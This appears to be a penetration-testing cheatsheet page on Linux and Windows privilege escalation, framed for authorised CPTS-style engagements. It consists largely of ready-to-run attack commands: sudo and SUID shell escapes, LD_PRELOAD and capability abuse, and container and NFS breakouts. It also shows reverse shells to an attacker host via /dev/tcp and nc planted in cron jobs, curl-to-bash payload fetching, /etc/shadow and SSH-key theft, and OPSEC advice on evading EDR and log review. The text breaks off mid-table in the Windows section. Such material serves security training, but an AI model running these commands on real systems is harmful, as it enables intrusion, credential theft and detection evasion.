daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

privilege-escalation.md (90791B)


      1 ---
      2 title: "Stage 09 — Privilege Escalation"
      3 description: "CPTS attack-flow reference for stage 09 — privilege escalation in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 12
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-09", "pentest-workflow"]
      8 tools: ["LinPEAS", "WinPEAS", "pspy", "Seatbelt"]
      9 difficulty: intermediate
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/12 - Stage 09 - Privilege Escalation.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 12 of 17 · **Focus:** Stage 09 — Privilege Escalation
     17 >
     18 > **Previous:** [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · **Next:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)
     19 
     20 ---
     21 # ⬆️ STAGE 9 — Privilege Escalation (Linux & Windows)
     22 
     23 I've got a foothold (web shell, SSH, service account). Goal now: `root` / `NT AUTHORITY\SYSTEM`. My loop is always the same — **stabilise the shell → auto-enum → chase the reddest finding → re-enum after every priv gain**. Automated tools point the way, but I verify manually because they lie and they trip EDR.
     24 
     25 > [!tip] First thing, every box
     26 > Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs: `sudo -l` + `whoami /priv`. Nine times out of ten the quick-win beats the linpeas scroll.
     27 
     28 > [!abstract] Sibling deep-dives
     29 > Linux full-length checklist: [Linux Privilege Escalation — CPTS Cheat Sheet](/sheets/privilege-escalation/linux-privesc) · Windows: [Windows Privilege Escalation — CPTS Cheat Sheet](/sheets/privilege-escalation/windows-privesc) · Credentials found here feed back into [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and forward into [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot).
     30 
     31 ---
     32 
     33 ### 🐧 Linux
     34 
     35 #### 0 — Upgrade the TTY first (do this before anything else)
     36 
     37 **What to look for:** `tty` returns `not a tty`, no tab-complete, `su`/`ssh` die. Fix it now or every later step is misery. Full playbook in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
     38 
     39 ```bash
     40 # ── [TARGET] spawn a PTY (first one that exists) ──
     41 python3 -c 'import pty; pty.spawn("/bin/bash")'
     42 # no python? →
     43 script -qc /bin/bash /dev/null
     44 # Ctrl+Z to background
     45 ```
     46 ```bash
     47 # ── [ATTACKER] raw mode + foreground (zsh: MUST be one line) ──
     48 stty raw -echo; fg
     49 # ── [TARGET] fix the terminal ──
     50 reset
     51 export SHELL=bash TERM=xterm-256color
     52 stty rows 50 cols 200   # values from `stty size` locally
     53 ```
     54 
     55 > [!warning] Watch out
     56 > On **zsh** `stty raw -echo` and `fg` must be on the same line separated by `;` or `-echo` is lost before `fg` runs. If I land in **rbash/rksh/lshell**, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
     57 
     58 #### 1 — Auto-enum: linpeas + pspy
     59 
     60 > [!tools] Stage this — Linux enum toolkit
     61 > **Staged in the vault:**
     62 >
     63 > [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))
     64 >
     65 > [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc))
     66 >
     67 > **Link-only companions** (grab from your attack box): [linux-smart-enumeration (lse.sh)](https://github.com/diego-treitos/linux-smart-enumeration) — verbose, level-based (`-l 1` for the interesting stuff) · [LinEnum](https://github.com/rebootuser/LinEnum) — older but `-t` thorough mode still catches cron/NFS oddities · [linux-exploit-suggester](https://github.com/The-Z-Labs/linux-exploit-suggester) — kernel/CVE matcher · [BeRoot](https://github.com/AlessandroZ/BeRoot) — config-driven privesc checks. Reference: [GTFOBins](https://gtfobins.github.io) for every binary a check flags.
     68 
     69 ```bash
     70 # ── [ATTACKER] serve tools ──
     71 python3 -m http.server 80   # from dir with linpeas.sh + pspy64
     72 # ── [TARGET] run linpeas straight to memory (no disk artifact) ──
     73 curl http://$LHOST/linpeas.sh | bash
     74 # or drop it and run with all checks
     75 ./linpeas.sh -a | tee /tmp/.lp.txt
     76 # static binary variant when the shell script is mangled/blocked:
     77 chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64
     78 # ── watch cron/root processes live (catches hidden root jobs) ──
     79 ./pspy64 -pf -i 1000
     80 ```
     81 
     82 > [!tip] Read linpeas by colour — **RED/YELLOW = 95% a vector**. pspy is my secret weapon: it shows root cron jobs and command lines with no root needed, which linpeas can miss. Run both before touching anything else; their output decides which section below you jump to.
     83 
     84 > [!opsec] OPSEC / detection
     85 > Piping `curl | bash` leaves no file but the process args still show in `ps`/`/proc` and EDR telemetry. `linpeas.sh -a` is *very* noisy (hundreds of spawned binaries). On a monitored host prefer targeted manual checks (MITRE [T1083](https://attack.mitre.org/techniques/T1083/) File and Directory Discovery, [T1057](https://attack.mitre.org/techniques/T1057/) Process Discovery are logged everywhere) and run pspy from `/dev/shm` or `/tmp` with an innocuous name. Clear `/tmp/.lp.txt` when done.
     86 
     87 #### 2 — `sudo -l` + GTFOBins (the #1 quick-win)
     88 
     89 **What to look for:** anything I can run as another user, `NOPASSWD`, or `env_keep+=LD_PRELOAD`.
     90 
     91 ```bash
     92 sudo -l
     93 # (root) NOPASSWD: /usr/bin/find   → GTFOBins it
     94 ```
     95 
     96 **Decision table — read `sudo -l` output:**
     97 
     98 | `sudo -l` shows | What it means | First move |
     99 |---|---|---|
    100 | `(ALL : ALL) ALL` | Full sudo, password needed | reuse the foothold password / looted creds ([Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)) |
    101 | `(root) NOPASSWD: /path/bin` | Free root via one binary | check the **sudo** column on [GTFOBins](https://gtfobins.github.io) for that exact binary |
    102 | `(userX) NOPASSWD: ...` | Lateral step, not root | become userX (`sudo -u userX ...`), re-run `sudo -l` — chained hops are common in CPTS |
    103 | `env_keep+=LD_PRELOAD` / `LD_LIBRARY_PATH` | Library injection survives sudo | §F below — compile a root `.so` |
    104 | `SETENV:` | I can set arbitrary env vars | `sudo PYTHONPATH=/tmp ...`, `sudo PATH=...`, `sudo BASH_ENV=...` |
    105 | `sudoedit` / `-e` entry | Edit a file as root | check CVE-2023-22809 (§I) or GTFOBins `sudoedit` (shell escape via `EDITOR`) |
    106 | `!authenticate` | No password even without NOPASSWD | just run it |
    107 | `secure_path=...` | sudo rebuilds PATH | PATH hijack against *this* entry is dead (§A) |
    108 | nothing / "not allowed" | No sudo rights | move on; check sudo version CVEs (§I) |
    109 
    110 ```bash
    111 # ── GTFOBins sudo escapes (match the binary you're allowed) ──
    112 sudo find . -exec /bin/bash \; -quit
    113 sudo vim -c ':!/bin/bash'
    114 sudo awk 'BEGIN {system("/bin/bash")}'
    115 sudo env /bin/bash
    116 sudo nmap --interactive    # legacy nmap 2.x–5.x only, then: !sh
    117 sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root  # -z runs script as root
    118 # ── "shell escape sequence" family (man/less/more/git/journalctl pagers) ──
    119 sudo man man      # then: !/bin/bash
    120 sudo less /etc/hosts    # then: !/bin/bash
    121 sudo git -p help config # then: !/bin/bash
    122 # ── env_keep LD_PRELOAD ──
    123 gcc -fPIC -shared -o /tmp/root.so shell.c -nostartfiles   # _init(){setuid(0);system("/bin/bash");}
    124 sudo LD_PRELOAD=/tmp/root.so <allowed_command>
    125 ```
    126 
    127 > [!warning] Watch out
    128 > `sudo` version `< 1.8.28`? Check **CVE-2019-14287** (`sudo -u#-1`) and **Baron Samedit CVE-2021-3156** (heap overflow, works even with no sudo rights). Always check the GTFOBins entry for the *exact* binary — a lot of them need a specific invocation to keep the euid. And remember: a sudo grant for a *script* (`/opt/backup.sh`) is only as strong as the script's writability — check `ls -l` on the target file, not just the grant.
    129 
    130 > [!opsec] OPSEC — sudo abuse
    131 > Every `sudo` invocation writes to `/var/log/auth.log` (or journald) with the full command line — GTFOBins escapes are unmistakable in log review. On monitored boxes, prefer vectors that don't touch sudo at all (capabilities, writable cron targets, NFS), and clean up dropped SUID shells (`/tmp/rootbash`) immediately after establishing a steadier root channel.
    132 
    133 #### 3 — SUID / SGID binaries
    134 
    135 ```bash
    136 find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null   # SUID
    137 find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null   # SETGID
    138 # quick triage: anything NOT in the standard set is interesting
    139 ```
    140 ```bash
    141 # ── abuse a SUID binary → keep root euid with -p (see GTFOBins "suid" column) ──
    142 /usr/bin/env /bin/bash -p
    143 find . -exec /bin/bash -p \; -quit
    144 python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])'
    145 ```
    146 
    147 > [!warning] Watch out
    148 > A non-standard SUID binary (custom app, weird path) is a screaming vector — check the **SUID** column on [GTFOBins](https://gtfobins.github.io), and if it calls another binary by bare name, hijack it via `PATH` (§A). `bash` drops SUID unless you pass `-p`. **Pitfall:** SUID bits are ignored on filesystems mounted `nosuid` (common for `/tmp`, NFS) — a planted SUID shell there does nothing.
    149 
    150 #### 4 — Capabilities
    151 
    152 ```bash
    153 getcap -r / 2>/dev/null
    154 # cap_setuid+ep on python/perl → instant root
    155 ```
    156 
    157 **Capability → escalation map:**
    158 
    159 | Capability | Seen on | Escalation |
    160 |---|---|---|
    161 | `cap_setuid+ep` | python, perl, ruby, php | `os.setuid(0)` → shell (below) |
    162 | `cap_dac_read_search+ep` | tar, cat, some backup tools | read *any* file → `/etc/shadow`, root's SSH keys (§8) |
    163 | `cap_dac_override+ep` | vim.basic, cp | write *any* file → edit `/etc/passwd` (§E) |
    164 | `cap_sys_admin+ep` | — | mount abuse: `mount -o bind` the host FS, effectively root |
    165 | `cap_sys_ptrace+ep` | gdb, python | inject into / steal the memory of a root process ([T1055](https://attack.mitre.org/techniques/T1055/)) |
    166 | `cap_sys_module+ep` | insmod | load a malicious kernel module |
    167 | `cap_chown`, `cap_fowner` | — | take ownership of `/etc/shadow` or a root script, then rewrite it |
    168 
    169 ```bash
    170 # cap_setuid=ep example
    171 python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
    172 # perl with cap_setuid
    173 perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
    174 # cap_dac_read_search on tar → exfil /etc/shadow
    175 tar -cf /tmp/sh.tar /etc/shadow && tar -xf /tmp/sh.tar -C /tmp
    176 ```
    177 
    178 #### 5 — Cron jobs, pspy & writable scripts
    179 
    180 > [!tools] Stage this — process/cron monitoring
    181 > [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))
    182 >
    183 > [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc))
    184 >
    185 > Run unprivileged; watches `/proc` for every process spawn (root's included) with full command lines. `-pf` prints filesystem events, `-i 1000` polls every second. Match 32 vs 64-bit with `uname -m` before uploading.
    186 
    187 ```bash
    188 cat /etc/crontab; ls -la /etc/cron.*/ /var/spool/cron/
    189 # pspy confirms what actually fires as root and how often
    190 ```
    191 ```bash
    192 # ── writable script run by root cron → append reverse shell ──
    193 echo 'bash -i >& /dev/tcp/'$LHOST'/443 0>&1' >> /path/to/root_cron_script.sh
    194 # ── writable cron PATH: cron's PATH is set inside /etc/crontab; if a dir in it is
    195 #    writable AND the job calls a binary by relative name → drop a same-named payload ──
    196 grep '^PATH' /etc/crontab; ls -ld <each_dir_on_that_PATH>
    197 # ── or wildcard injection (tar/rsync in a root cron over a dir I write to) ──
    198 echo 'mkfifo /tmp/f; nc '$LHOST' 443 0</tmp/f | /bin/sh >/tmp/f 2>&1' > shell.sh
    199 touch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh'
    200 ```
    201 
    202 > [!tip] Confirm the job is **live** with `pspy64 -pf` before planting payloads — a backup script that fires daily at 03:00 is a 20-hour wait; one firing every minute is a win now. Cron PATH hijack and wildcard injection mechanics: §A and §B below. MITRE [T1053.003](https://attack.mitre.org/techniques/T1053/003/).
    203 
    204 > [!warning] Writable cron *paths* are the subtle variant
    205 > The crontab itself can be root-locked while the **target** of the job is writable: the script file, the directory the script lives in (rename-and-replace), a binary the script calls by relative name, or a glob directory it operates on (§B). Check each link of the chain with `ls -l` / `namei -l /full/path/to/script.sh` — `namei` shows perms on every component at once. In CPTS labs the writable-directory-not-file pattern is a favourite.
    206 
    207 #### 6 — Writable PATH, world-writable files, NFS, containers & disk groups
    208 
    209 ```bash
    210 echo $PATH
    211 find / -path /proc -prune -o -type f -perm -o+w -print 2>/dev/null   # world-writable files
    212 find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null   # ...and dirs
    213 showmount -e $IP                                                     # NFS exports
    214 id                                                                   # lxd? docker? disk? adm? → group-based escape
    215 ```
    216 ```bash
    217 # ── PATH hijack a root-run binary that calls e.g. `service` by relative name ──
    218 PATH=.:${PATH}; echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > service; chmod +x service
    219 # ── NFS no_root_squash → drop a SUID root shell from attacker box (full chain §C) ──
    220 sudo mount -t nfs $IP:/tmp /mnt && cp /bin/bash /mnt/x && chmod +s /mnt/x   # then /tmp/x -p on target
    221 # ── docker group → host FS in a throwaway container (full chain §D) ──
    222 docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
    223 # ── LXD group → mount host / inside a privileged container ──
    224 lxc image import alpine.tar.gz --alias alpine
    225 lxc init alpine r00t -c security.privileged=true
    226 lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
    227 lxc start r00t; lxc exec r00t /bin/sh   # host fs under /mnt/root
    228 # ── disk group → raw block-device access (read /etc/shadow, write a SUID) ──
    229 debugfs -w /dev/sda1     # debugfs> cat /root/.ssh/id_rsa   (or: dump, write)
    230 # ── adm group → read /var/log: creds & tokens leaked into logs ──
    231 grep -riE 'passw|token|secret' /var/log 2>/dev/null
    232 # ── lxc group (unprivileged variant) → same trick, use security.privileged=false + idmap, or /etc/subuid abuse ──
    233 ```
    234 
    235 **Linux quick-triage table — finding → first move:**
    236 
    237 | Finding (linpeas/manual) | Section | First move |
    238 |---|---|---|
    239 | `sudo -l` grants a binary | §2 | [GTFOBins](https://gtfobins.github.io) sudo entry for that exact binary |
    240 | Non-standard SUID | §3 | GTFOBins **suid** column; `strings` for bare-name calls (→ §A PATH hijack) |
    241 | `cap_setuid`/`cap_dac_*`/`cap_sys_admin` | §4 | capability map table → setuid/read/write as root |
    242 | Root cron + writable script/dir | §5 | append payload, or wildcard-inject (§B) |
    243 | `PATH=…` writable dir in cron's PATH | §5/§A | plant same-named binary |
    244 | `no_root_squash` export | §C | SUID shell staged as attacker-root |
    245 | `docker`/`lxd`/`lxc`/`disk`/`adm` group | §6/§D/§J | container mount / debugfs / log loot |
    246 | Writable `/etc/passwd`/`shadow`/`sudoers` | §E | inline-hash UID-0 user |
    247 | Writable systemd unit / timer | §H | `ExecStart` revshell + daemon-reload |
    248 | Old kernel/sudo/pkexec, nothing else | §7/§I | logic bugs first: PwnKit → Baron Samedit → Dirty Pipe/COW last |
    249 | Readable `id_rsa` / root tmux socket | §8/§9 | direct key reuse / socket attach |
    250 
    251 #### 7 — Kernel exploits (last resort)
    252 
    253 **What to look for:** old kernel + no other path. Kernel exploits can panic the box — I try everything else first.
    254 
    255 ```bash
    256 uname -a; cat /etc/os-release; cat /etc/lsb-release 2>/dev/null   # kernel + distro
    257 sudo -V | head -1                                                  # sudo version for §I CVEs
    258 # match with linux-exploit-suggester (link-only) or searchsploit linux kernel <ver>
    259 gcc kernel_exploit.c -o kx && ./kx    # compile ON-target for glibc match
    260 ```
    261 
    262 > [!danger] Kernel exploit caution
    263 > Memory-corruption kernel exploits (Dirty COW **CVE-2016-5195** < 4.8.3, Dirty Pipe **CVE-2022-0847** kernels 5.8–5.16.11, OverlayFS/Ubuntu CVEs) can **panic or hang the target** — catastrophic on a real engagement, and in a lab it can force a reset that wipes your planted artifacts. Rules of engagement: (1) exhaust every misconfiguration first, (2) snapshot/backup if you can, (3) prefer **logic bugs** over memory corruption — **PwnKit CVE-2021-4034** (`pkexec`, near-universal pre-2022, rarely crashes) and **sudo Baron Samedit CVE-2021-3156** are logic-class and far safer, (4) document exploit name + CVE + outcome for the report (client stability is a finding too). Detection: new SUID files / unexpected root shells are the classic post-exploitation artifacts a blue team hunts ([T1068](https://attack.mitre.org/techniques/T1068/) Exploitation for Privilege Escalation).
    264 
    265 > [!warning] Watch out
    266 > **PwnKit (CVE-2021-4034)** is near-universal on anything with `pkexec` and rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: [Linux Privilege Escalation Cheat Sheet](/sheets/privilege-escalation/linux-privesc).
    267 
    268 #### 8 — SSH key looting & reuse
    269 
    270 **What to look for:** readable private keys, known_hosts targets, agent sockets — they turn a single-host foothold into lateral root without any exploit.
    271 
    272 ```bash
    273 ls -la /home/*/.ssh/ /root/.ssh/ 2>/dev/null
    274 find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null | grep -v ^/proc
    275 cat /home/*/.ssh/known_hosts /home/*/.ssh/authorized_keys 2>/dev/null   # where do they SSH to/from?
    276 cat ~/.ssh/config 2>/dev/null                                          # jump hosts, custom ports
    277 ```
    278 ```bash
    279 # ── [ATTACKER] fix perms and reuse ──
    280 chmod 600 looted_id_rsa
    281 ssh -i looted_id_rsa user@$IP          # same box, higher user? root@? pivot host from known_hosts?
    282 # ── root's key readable via cap_dac_read_search / disk group / backup job → same path ──
    283 # ── ssh-agent socket hijack (if I share a box with a root session or find root's env) ──
    284 SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.PID ssh-add -l
    285 ```
    286 
    287 > [!tip] Keys found as a low user often belong to `root` or a deploy/admin account — always try `ssh -i key root@$IP` locally first (fast, no network noise), then every host in `known_hosts`. Passphrase-protected key? `ssh2john key > hash` → hashcat `-m 22921` (see [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)). MITRE [T1552.004](https://attack.mitre.org/techniques/T1552/004/).
    288 
    289 #### 9 — tmux / screen session hijack
    290 
    291 **What to look for:** a root-owned tmux/screen socket that's group-writable, or a `screen` session left detached with sloppy permissions. Attaching inherits the *running* shell — zero exploit code.
    292 
    293 ```bash
    294 ps aux | grep -E 'tmux|screen' | grep -v grep     # root sessions?
    295 ls -la /tmp/tmux-* /run/screen/* 2>/dev/null      # socket dirs + perms
    296 ```
    297 ```bash
    298 # group-writable root socket (e.g. srw-rw---- root devs, and I'm in devs):
    299 tmux -S /shareds                                  # straight into root's live shell
    300 # screen equivalent: find the session dir, then
    301 screen -x root/                                   # attach multi-display to root's session
    302 ```
    303 
    304 > [!note] This also works *horizontally*: a dev user's live tmux gives you their full context (history, agent, sudo session). Don't kill the session — `tmux -S sock attach` read-only (`-r`) first if you just want to loot scrollback. Related socket/group tricks: §J below.
    305 
    306 #### 10 — Service-level vectors: MySQL UDF · polkit · logrotate · systemd
    307 
    308 **What to look for:** `mysql` running as root with a known credential, an interactive polkit-reachable service, writable log dirs + old logrotate, writable systemd units.
    309 
    310 ```bash
    311 # ── MySQL running as ROOT + I have creds → UDF command execution as root ──
    312 ps aux | grep mysql | grep -v grep          # user=root?
    313 mysql -u root -p -e 'select @@plugin_dir, @@version_compile_os;'
    314 # drop a UDF .so (lib_mysqludf_sys) into @@plugin_dir, then:
    315 #   CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
    316 #   SELECT sys_exec('chmod +s /bin/bash');
    317 # ── polkit: can I reach pkexec/polkit actions? (separate from PwnKit the CVE) ──
    318 pkexec --version; pkaction | head
    319 # polkit < 0.119 on RHEL/CentOS 7-era boxes → CVE-2021-3560 (accountsservice race → add root user)
    320 # ── logrotate: writable log dir + logrotate 3.8.6/3.11.0/3.15.0/3.18.0 → logrotten race ──
    321 logrotate --version; ls -ld /var/log/<app>   # writable log + create-only-if-missing config
    322 # ── systemd: writable unit / ExecStart target / sudo systemctl → §H below ──
    323 systemctl list-timers --all
    324 ```
    325 
    326 > [!warning] Watch out
    327 > MySQL UDF needs `secure_file_priv` empty or pointing at a writable plugin dir and **FILE** privilege on `mysql` — check `SHOW GRANTS`. CVE-2021-3560 is a race: expect several attempts, and it *creates a user* — clean it up afterward. systemd unit abuse and logrotten details: §H below.
    328 
    329 ---
    330 
    331 ### 🪟 Windows
    332 
    333 #### 1 — Auto-enum + the two commands that matter
    334 
    335 > [!tools] Stage this — Windows enum toolkit
    336 > **Staged in the vault:**
    337 >
    338 > [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc))
    339 >
    340 > [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc))
    341 >
    342 > [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PrivescCheck.ps1.sha256.asc))
    343 >
    344 > [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/jaws-enum.ps1.sha256.asc))
    345 >
    346 > [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Seatbelt.exe.sha256.asc))
    347 >
    348 > [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpUp.exe.sha256.asc))
    349 >
    350 > [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc))
    351 >
    352 > **Link-only companions:** [Watson](https://github.com/rasta-mouse/Watson) / [Sherlock](https://github.com/rasta-mouse/Sherlock) (legacy missing-patch suggesters) · [WES-NG](https://github.com/bitsadmin/wesng) and [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) — **offline diff**: run `systeminfo` on the target, feed the output to the suggester on your attack box (`wesng systeminfo.txt`), and it maps missing patches → known privesc CVEs without touching the target again.
    353 
    354 **What to look for:** `whoami /priv` for `SeImpersonate`; `whoami /groups` for privileged groups. Deep dives: [Windows PrivEsc Cheat Sheet](/sheets/privilege-escalation/windows-privesc) and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.
    355 
    356 ```powershell
    357 # ── the fast manual checks (do these by hand immediately) ──
    358 whoami /priv
    359 whoami /groups
    360 whoami /all
    361 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"   # feed WES-NG offline
    362 ```
    363 ```batch
    364 :: ── stage tools to C:\Windows\Temp (Users can write there) ──
    365 certutil.exe -urlcache -split -f http://%LHOST%/winPEASx64.exe C:\Windows\Temp\wp.exe
    366 C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp.txt
    367 :: ── stealthier .NET options ──
    368 .\SharpUp.exe audit
    369 .\Seatbelt.exe -group=all
    370 ```
    371 ```powershell
    372 # ── PrivescCheck (PowerShell, itm4n — thorough + low FP, Extended mode) ──
    373 . .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended
    374 # ── JAWS (pure PowerShell, older boxes / no AV) ──
    375 powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFileName jaws.txt
    376 # ── PowerUp (import + all checks; has auto-exploit functions) ──
    377 Import-Module .\PowerUp.ps1; Invoke-AllChecks
    378 ```
    379 
    380 > [!warning] Watch out
    381 > winPEAS is flagged by 50+ AV engines and Defender blocks it by default — on a monitored box use the `.bat` variant, SharpUp/Seatbelt (compiled .NET dodges AMSI), PrivescCheck via `IEX` cradle, or just do it manually. Even a **"Disabled"** privilege in `whoami /priv` means the account *has* it; it just needs enabling.
    382 
    383 #### 2 — `whoami /priv` interpretation table
    384 
    385 **Every privilege listed — even `Disabled` — is assigned to my token** and can be enabled in-session. Map priv → technique before running anything:
    386 
    387 | Privilege (`whoami /priv`) | Buys me | Technique / tool |
    388 |---|---|---|
    389 | `SeImpersonatePrivilege` | steal any connecting client's token | **potato family** (§3) — most common service-account win |
    390 | `SeAssignPrimaryTokenPrivilege` | assign a token to a new process | potato with `-t *` variant / direct `CreateProcessAsUser` |
    391 | `SeDebugPrivilege` | open **any** process (incl. SYSTEM/LSASS) | procdump/comsvcs LSASS dump, or token steal via psgetsys (deep section) |
    392 | `SeBackupPrivilege` | read any file ignoring DACLs | `robocopy /B` hive/NTDS theft → secretsdump (deep section) |
    393 | `SeRestorePrivilege` | write any file, change ownership/ACLs, load hives | overwrite a SYSTEM service binary, `reg load`/restore tricks |
    394 | `SeTakeOwnershipPrivilege` | `WRITE_OWNER` on any object | `takeown` + `icacls /grant` → read protected files (deep section) |
    395 | `SeLoadDriverPrivilege` | load kernel drivers | BYOVD: EoPLoadDriver + Capcom.sys (Print Operators §) |
    396 | `SeManageVolumePrivilege` | volume-level ops → full-control ACL on `C:\` | SeManageVolumeExploit → DLL hijack chain (deep section) |
    397 | `SeCreateTokenPrivilege` | forge arbitrary tokens | create a SYSTEM token directly (rare) |
    398 | `SeTcbPrivilege` | act as part of the OS | token manipulation → SYSTEM (rare, juicy) |
    399 | `SeEnableDelegationPrivilege` | set delegation on accounts/computers | AD abuse — constrained delegation path (Stage 06 territory) |
    400 | `SeShutdownPrivilege` etc. | — | not escalation; ignore noise |
    401 
    402 > [!note] No native cmdlet flips a `Disabled` priv on — use a scripted `AdjustTokenPrivileges` helper (`EnableAllTokenPrivs`, `Enable-Privilege.ps1`) or the attack tool's built-in self-enable. MITRE [T1134](https://attack.mitre.org/techniques/T1134/) Access Token Manipulation.
    403 
    404 #### 3 — `SeImpersonatePrivilege` → Potato → SYSTEM
    405 
    406 **What to look for:** `SeImpersonatePrivilege` **Enabled** — standard on IIS AppPool, MSSQL, `NETWORK SERVICE`, `LOCAL SERVICE`. This is the most common quick-win on service-account footholds. Full breakdown: 🟣 Attack.
    407 
    408 > [!tools] Stage this — potato family
    409 > [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))
    410 >
    411 > [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc))
    412 >
    413 > [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc))
    414 >
    415 > [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc))
    416 >
    417 > [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc))
    418 >
    419 > **Link-only:** [RoguePotato](https://github.com/antonioCoco/RoguePotato) (needs fake OXID resolver + port-forward on 135) · [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) (DCOM revived for newer builds) · [SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato) (C#, EFS-RPC coercion).
    420 
    421 **Decision table — pick by requirement, not by habit:**
    422 
    423 | Tool | Requirement | Works on | Notes |
    424 |---|---|---|---|
    425 | PrintSpoofer64.exe | Print Spooler **running** | all builds incl. 2019/2022 | fast, clean, interactive `-i`; dead if Spooler disabled (common post-PrintNightmare) |
    426 | GodPotato-NET4 / -NET35 | matching .NET version installed | Server 2012–2022, Win8–11 | **works with Spooler OFF** — the broad default; pick NET35 vs NET4 by what's on the box |
    427 | JuicyPotato.exe | valid CLSID list for the OS | pre-Server 2019 / Win10 <1809 | Microsoft killed the DCOM path on 2019+/1809+; also covers SeAssignPrimaryToken with `-t *` |
